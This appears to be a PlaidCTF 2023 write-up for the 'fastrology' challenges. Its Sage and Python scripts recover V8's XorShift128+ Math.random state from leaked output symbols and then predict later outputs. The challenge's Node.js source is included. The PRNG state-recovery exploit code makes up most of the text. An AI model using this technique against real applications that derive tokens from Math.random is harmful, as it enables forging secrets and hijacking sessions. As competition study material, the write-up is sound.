from binteger import Bin
import struct
import random
from concurrent.futures import ProcessPoolExecutor, as_completed
from subprocess import Popen, PIPE, DEVNULL, TimeoutExpired
import time
import os
import sys
import signal
import ast

prefix_len = 250
charset = "♈♉♊♋♌♍♎♏♐♑♒♓⛎"


def u2fp(x):
    assert x.bit_length() <= (64 - 12)
    u_long_long_64 = x | 0x3FF0000000000000
    float_64 = struct.pack("<Q", u_long_long_64)
    return struct.unpack("d", float_64)[0] - 1


def fp2u(x):
    float_64 = struct.pack("d", x + 1)
    u_long_long_64 = struct.unpack("<Q", float_64)[0]
    return u_long_long_64 ^ 0x3FF0000000000000


def rol(x, n, sz=64):
    return vector(list(x[-(sz - n) :]) + [0] * n)


def ror(x, n, sz=64):
    return vector([0] * n + list(x[: sz - n]))


def xorshift_sym(state0, state1):
    s1 = state0[:]
    s0 = state1[:]
    state0 = s0
    s1 = s1 + rol(s1, 23)
    s1 = s1 + ror(s1, 17)
    s1 = s1 + s0
    s1 = s1 + ror(s0, 26)
    state1 = s1
    return state0, state1


def xorshift_vec(state0, state1):
    se_s1 = state0[::]
    se_s0 = state1[::]
    state0 = se_s0[::]
    for i in range(64 - 23):
        se_s1[i] += se_s1[i + 23]
    for i in range(64 - 17):
        se_s1[63 - i] += se_s1[63 - (i + 17)]
    for i in range(64 - 0):
        se_s1[i] += se_s0[i + 0]
    for i in range(64 - 26):
        se_s1[63 - i] += se_s0[63 - (i + 26)]
    state1 = se_s1[::]
    return state0, state1


def xorshift(state0, state1):
    mask = (1 << 64) - 1
    s1 = state0
    s0 = state1
    state0 = s0
    s1 ^= s1 << 23
    s1 &= mask
    s1 ^= s1 >> 17
    s1 ^= s0
    s1 ^= s0 >> 26
    state1 = s1
    return (state0, state1)


class V8XorShift128:
    kCacheSize = 64  # v8 cache size

    def __init__(self, s0, s1, xorshift, offset=0):
        self.s0 = s0
        self.s1 = s1
        self.xorshift = xorshift
        self.offset = offset
        if offset != 0:
            self.pool = ["?"] * (self.kCacheSize - offset)
        else:
            self.pool = []

    def take(self):
        if len(self.pool) == 0:
            self.refill()
        return self.pool.pop()

    def refill(self):
        for _ in range(self.kCacheSize):
            self.s0, self.s1 = self.xorshift(self.s0, self.s1)
            self.pool.append(self.s0)


def try_solve(A, b, max_tries=1000, threshold=20):
    # stupid ISD
    nr = A.nrows()
    nc = A.ncols()
    for _ in range(max_tries):
        idxs = random.sample(range(nr), nc)
        AA = A.matrix_from_rows(idxs)
        bb = vector([b[i] for i in idxs])
        try:
            sol = AA.solve_right(bb)
            err2 = A * sol - b
            if list(err2).count(1) <= threshold:
                print("done at", _, file=sys.stderr)
                return sol
        except Exception as e:
            pass


def solve(inp, start_offset=None, timeout=6):
    if not isinstance(start_offset, int):
        procs = []
        for i in range(*start_offset):
            p = Popen(
                [sys.executable, __file__, inp, str(i)],
                stdout=PIPE,
                stderr=DEVNULL,
                shell=False,
            )
            procs.append(p)
        start = time.time()
        while len(procs) > 0 and (time.time() - start) < timeout:
            done = []
            for p in procs:
                if p.poll() is None:
                    continue
                sol = p.stdout.read().decode().strip()
                yield sol
                done.append(p)
            for p in done:
                procs.remove(p)
            time.sleep(0.5)
        return
    signal.alarm(timeout)
    nums = [charset.index(c) for c in inp]
    print(len(nums), prefix_len, file=sys.stderr)
    tbl = {0: 0, 2: 1, 5: 3, 7: 4, 10: 6, 12: 7}
    hint13 = [
        0,
        346430740566961,
        692861481133922,
        1039292221700884,
        1385722962267845,
        1732153702834806,
        2078584443401768,
        2425015183968728,
        2771445924535690,
        3117876665102651,
        3464307405669612,
        3810738146236574,
        4157168886803535,
        (1 << 52) - 1,
    ]
    V = GF(2) ** 128
    s0 = list(V.gens()[:64])
    s1 = list(V.gens()[64:])
    rng = V8XorShift128(s0, s1, xorshift_vec)
    for _ in range(start_offset):
        rng.take()
    for i in range(prefix_len + 128):
        rng.take()
    eq = []
    for i in range(prefix_len):
        s0 = rng.take()
        if nums[i] == "?":
            continue
        # if nums[i] not in tbl:
        #     continue
        # bits = f"{tbl[nums[i]]:03b}"
        # eq.append(s0[0] - int(bits[0]))
        # eq.append(s0[1] - int(bits[1]))
        # eq.append(s0[2] - int(bits[2]))

        # from kent huang
        # this can collect more equations
        num = nums[i]
        common = bin(hint13[num] ^ hint13[num + 1])[2:].zfill(52).find("1")
        for j in range(common):
            if (hint13[num] >> (51 - j)) & 1:
                eq.append((s0[j], 1))
            else:
                eq.append((s0[j], 0))

    A = matrix([x for x, _ in eq])
    b = vector([y for _, y in eq])
    print(A.dimensions(), len(b), file=sys.stderr)
    C = codes.LinearCode(A.T)
    D = codes.decoders.LinearCodeInformationSetDecoder(C, 25)
    print(D.algorithm().time_estimate(), file=sys.stderr)
    sol = D.decode_to_message(b)
    # sol = A.solve_right(b)
    # sol = try_solve(A, b, 1000)
    # if sol is None:
    #     return
    # print("sol", sol, file=sys.stderr)
    err = A * sol - b
    print("err cnt", list(err).count(1), file=sys.stderr)

    s0 = Bin(sol[:64]).int
    s1 = Bin(sol[64:]).int
    rng = V8XorShift128(s0, s1, xorshift)
    for _ in range(start_offset):
        rng.take()
    backup = []
    for i in range(prefix_len + 128):
        index = math.floor(u2fp(rng.take() >> 12) * 12)
        backup.append(charset[index])
    output = []
    for i in range(prefix_len + 128):
        index = math.floor(u2fp(rng.take() >> 12) * 13)
        output.append(charset[index] if index != 12 else backup[i])
    yield "".join(output)[prefix_len:]


if __name__ == "__main__":
    inp = sys.argv[1]
    offset = ast.literal_eval(sys.argv[2]) if len(sys.argv) > 2 else (0, 64)
    for sol in solve(inp, offset):
        print(sol)

The actual solution was noting that all index 12 outputs were replaced, and index 12 corresponded to top 3 bits = 111. Assuming replacement with index 7, which corresponded to top 3 bits = 100 (refer to my new moon table).

Finding index 7 characters had two possibilities: original index 7 or replaced index 12. Both had top 1 bits = 1, providing an equation.

Using the same tbl but only taking equations with bit 1 ensured no errors, solving the linear system.

Teammate's table:

hint = {0: ("000", 3), 1:("00", 2), 2:("001", 3), 3:("0", 1), 4:("01", 2), 5:("011", 3), 7: ("100", 1), 8: ("10", 1), 9:("1", 1), 10: ("110", 2), 11: ("11", 2), 12: ("111", 3)}

Or refer to another writeup: PlaidCTF 2023 Writeups - waxing gibbous, using a similar table.

*fastrology: full moon

const { randomInt, createHash } = require('node:crypto');
const readline = require('node:readline').createInterface({
  input: process.stdin,
  output: process.stdout,
});

const warmup_len = randomInt(64);
for (let i = 0; i < warmup_len; i++) {
    Math.random();
}

const prefix_len = 600;
const alphabet = '☿♀♁♂♃♄♅♆♇';

let output = '';
for (let i = 0; i < prefix_len+128; i++) {
    let index = Math.floor(Math.random() * alphabet.length);
    let rand_max = Math.floor(Math.random() * 4);
    let distortion_len = Math.floor(i/125);
    for (let j = 0; j < distortion_len; j++) {
        index ^= Math.floor(Math.random() * rand_max);
    }
    index = Math.min(index, alphabet.length-1);
    output += alphabet[index];
}

const prefix = output.substring(0, prefix_len);
const expected = output.substring(prefix_len);

console.log(prefix);
console.log(createHash('md5').update(expected, 'utf8').digest('hex'));

readline.question('❓️\n', guess => {
    readline.close();
    if (guess === expected) {
        console.log('✅');
        process.exit(42);
    } else {
        console.log('❌');
        process.exit(1);
    }
});

I didn't solve this challenge because I spent all my time on the web Subs challenge XD. The solution involved noting the first 125 outputs were undisturbed, then using toxicpie's xor method to get enough equations to solve.

Here's my post-CTF sage script:

import struct, math, random
from binteger import Bin


def u2fp(x):
    assert x.bit_length() <= (64 - 12)
    u_long_long_64 = x | 0x3FF0000000000000
    float_64 = struct.pack("<Q", u_long_long_64)
    return struct.unpack("d", float_64)[0] - 1


def fp2u(x):
    float_64 = struct.pack("d", x + 1)
    u_long_long_64 = struct.unpack("<Q", float_64)[0]
    return u_long_long_64 ^^ 0x3FF0000000000000


charset = "☿♀♁♂♃♄♅♆♇"
# fmt: off
ssss = '♃♁♄☿♂♄♂♇♀♅♄♀♃☿☿♄♀♅♂☿♇♂♇♀☿☿♆♅♂♃☿♀♃♂♀♁♃♃♁♅♂☿☿♅♃♁♆♂♄♀♀♂♆♃♇☿♃♂♃☿♃♁♀♅♁♂♆♇♆☿♆♄♇♅♁♁♄☿♁♇♄♁♇♅♂☿♆☿♂♁♁♁♂♀♀♀♀♅♆♅☿♇☿♆♃♅♆♃♁☿♆☿♅♂♂♄♅♇☿♆♅♀♇♃♄☿♁♆♅♅♁♃♂♅♁♇♄♁♀☿♀♃♃♀♆♃♆♂♁♆♇♅♃♀☿♇♁♄♂♀♅♃♇♀♄♅♅♃♀♇☿♆♀♅♄♁♃♅♀♆♅♂♁♆♅♃♄♃☿♂♇♁♇♁♅♁♇☿♆♅☿♄♆♃♄♁♆♄♂♄♅♀♃♆♃☿♁♀♂♁♇♃♃♆☿♁♆♁♄♇♅♂♅☿♇♀♃♀♁♂♂♀☿☿☿♀♂♅♆♁♂♆♀♃☿♂♂♅♀☿♅♆♄♄♄♁♂♅♁♄♁♆♄♄☿♇♃♃♄♂☿♆♀♁♆♅♁♆♄♁♆♀♄♃♆♂♁☿♇♀♀♆♂♀♀♁♁♇♄♆♇♆♀♃♆♆♅♂♂♁♆☿♀♁♄♆♇☿♅♄♁♁♅♁♂♅♁♅♀♀♃♁♇♇☿♁♆♂♂♂♂♄♇♄♂♃♂♁☿♇♂♄♅♀♅♇♂♅♃♂♃♁♀♁♁♇♃♆♄♄♁♇♄♆♅♁♇♄♂♅♇♄♆♂♀♁♂♅♂♇♀♃♃♆☿♄♀♃☿♆♁♃♆☿☿♂♁♁☿☿☿♃♂♁♀♆☿♆♇♀♇☿☿♆♆☿♁♆♇♆♅♅♁♇♀♆☿♃♄♇♁♇♁♄♅♇♃♀♄♂♅♄♀♀♆♇♆♂♇♃♄♁♂♀♂♇♀♁☿♇♃♂♀♄♀♀♄♅☿♇♅♅♇♇♅♀♇♁☿♅♅♅☿♂♇♇♇♀♀♅♃♀♃☿♂♃♀♆♅♀♁♀☿♂♄♂♃♃♂♇♃♅♁♁♅♀♂♅♅♃♇♇♃♆☿♆♇♁☿♀♄♅♄♂♂♆♂♆♀♃♁♃♇♀♄♃♁♂♃♀♄♄♁♅♇♆♅♁♇♀♁♄♅☿♂♃♂☿♄♂♀♅♆♂♆♇♂♃♄♅'
ssss = '♃♄♄♅♅♃♇♀♇♃♄♆♄♂♅♄♄♆♁♂♂♇♁♂♁♃♆♆♄♀♁♃♄♃☿♂♁♅♇♅♁♂♆♅♂☿♃♅♄♂♅♇☿☿♄♂♀♇♆☿♂♂♇♃♇♄♅♂♁♀♅♇♄♄♄♁♀♆♁♆♆♅♇♇♇☿♃♁♇♅♀♄♀♁♂♆♄♁♂♀♆♄♂☿♁♄♃♂♂♅♄♇♃♃♃☿♂♁☿☿♁♁♂♁♇♄♁♆♄♆♅♂♀♇♇♃☿♀♁♇♇♂♁♅♁♀☿♂♀♂♅♂♄♂♂♄♅♄♂♆♀♀♇☿♆♃♀♇♆♆♇♃♃♁♅♆♅♄♅♃♁♅♇♂☿♂♅♇♄♂♆♇☿♅♆♄♁♂☿☿♄♄♀♀♇♅♃♇♆♇☿♆♁♆♃♂♀♂♅♄♁♀♁♂♆♅♀♆♄♃♆♅♀♇♂♁♂♄♃♀♅☿♄♀♄♆♄♀♂♀♃♆♁♂♀☿♃♇♃♇♇♂♄♄♅☿♅♃♇♅♀♇♆☿♅♀♃♆♀♆♇♁♁♄♆♇♇☿♄♅♇♁♄♅♂♁♁♂♇♅♇♁♃♁♇☿♅♁♅☿♃♀♇♁♀☿♀♀♃♀♅♅♀☿♁♃♀♄♅☿♂♁♆♇♀♀♆♁♂♀♆♁♁♄♆♄♄♃♂♃♀♁♂♅♄☿♆♆♂♃☿♄♅♄♇♀♃☿♁♆♅♄♆♀♀♇♀♀♇♄♄♇♅♂♃♃♄♆♁♃♇♇♁☿♁♁♃♂♂☿♁♄♁♆♂☿♅♇♅♀♅♀♇♃♀♅♆☿♃♄♆♄♁♆☿♁♀♇♂♀♄♀♂☿♅♂♄♁♆♀♁♀♆♆♇♅♇☿♃♅♅♄☿♁☿☿♂♀♇♁♆♁☿♁♃♃♆♄☿♄♃♁♁♄♄♁♄♆♇♁♂♃☿♂♃♅♇♇♆♁☿♅♁♆♀♄♆♅♄♅♆♀♃♆♇♁♂♄♃♄♆♆♆♅♅♆☿☿♁♃☿♀♃♃☿♁♇♂♄♅♄♁♄♆♃♆♁♇☿♂♄♀♁♅♇☿♃♆♃♅♇♆♇♄♄♅♄♆♀♁♀♅♃♄☿☿♅♄♃♀☿☿♄♁♃♃♆♄♅♂♀♇♂☿♃♅♀♁♂♅♅♀♅♆♃♀♀♃♁♃'
nums = [charset.index(c) for c in ssss]
# fmt: on
prefix_len = 600
nums = nums[:125]
startOffset = 13


def rol(x, n, sz=64):
    return vector(list(x[-(sz - n) :]) + [0] * n)


def ror(x, n, sz=64):
    return vector([0] * n + list(x[: sz - n]))


def xorshift_sym(state0, state1):
    s1 = state0[:]
    s0 = state1[:]
    state0 = s0
    s1 = s1 + rol(s1, 23)
    s1 = s1 + ror(s1, 17)
    s1 = s1 + s0
    s1 = s1 + ror(s0, 26)
    state1 = s1
    return state0, state1


def xorshift_vec(state0, state1):
    se_s1 = state0[::]
    se_s0 = state1[::]
    state0 = se_s0[::]
    for i in range(64 - 23):
        se_s1[i] += se_s1[i + 23]
    for i in range(64 - 17):
        se_s1[63 - i] += se_s1[63 - (i + 17)]
    for i in range(64 - 0):
        se_s1[i] += se_s0[i + 0]
    for i in range(64 - 26):
        se_s1[63 - i] += se_s0[63 - (i + 26)]
    state1 = se_s1[::]
    return state0, state1


def xorshift(state0, state1):
    mask = (1 << 64) - 1
    s1 = state0
    s0 = state1
    state0 = s0
    s1 ^^= s1 << 23
    s1 &= mask
    s1 ^^= s1 >> 17
    s1 ^^= s0
    s1 ^^= s0 >> 26
    state1 = s1
    return (state0, state1)


class V8XorShift128:
    kCacheSize = 64  # v8 cache size

    def __init__(self, s0, s1, xorshift, offset=0):
        self.s0 = s0
        self.s1 = s1
        self.xorshift = xorshift
        self.offset = offset
        if offset != 0:
            self.pool = ["?"] * (self.kCacheSize - offset)
        else:
            self.pool = []

    def take(self):
        if len(self.pool) == 0:
            self.refill()
        return self.pool.pop()

    def refill(self):
        for _ in range(self.kCacheSize):
            self.s0, self.s1 = self.xorshift(self.s0, self.s1)
            self.pool.append(self.s0)



hint9 = [fp2u(i/9) for i in range(9)] + [1<<52]
syms = [f"s0_{i}" for i in range(64)] + [f"s1_{i}" for i in range(64)]
V = GF(2) ^ 128
s0 = list(V.gens()[:64])
s1 = list(V.gens()[64:])
rng = V8XorShift128(s0, s1, xorshift_vec)
for _ in range(startOffset):
    rng.take()
eq = []
for i in range(len(nums)):
    s0 = rng.take()
    rng.take()
    if nums[i] == "?":
        continue

    num = nums[i]
    common = bin(hint9[num] ^^ hint9[num + 1] - 1)[2:].zfill(52).find('1')
    for i in range(common):
        if (hint9[num] >> (51 - i)) & 1:
            eq.append((s0[i], 1))
        else:
            eq.append((s0[i], 0))

A = matrix([x for x, _ in eq])
b = vector([y for _, y in eq])
print(A.dimensions(), len(b))
sol = A.solve_right(b)


s0 = Bin(sol[:64]).int
s1 = Bin(sol[64:]).int
rng = V8XorShift128(s0, s1, xorshift)
for _ in range(startOffset):
    rng.take()
output = []
for i in range(prefix_len + 128):
    index = math.floor(u2fp(rng.take() >> 12) * len(charset))
    rand_max = math.floor(u2fp(rng.take() >> 12) * 4)
    distortion_len = i // 125
    for j in range(distortion_len):
        index ^^= math.floor(u2fp(rng.take() >> 12) * rand_max)
    output.append(charset[min(index, len(charset) - 1)])
print("".join(output))
print(ssss)

Another writeup mentioned that even disturbed outputs after 125 could provide some bit information. The key was rand_max maxed at 3, affecting only the low 2 bits of the index. Grouping 0-3 and 4-7 provided additional bits.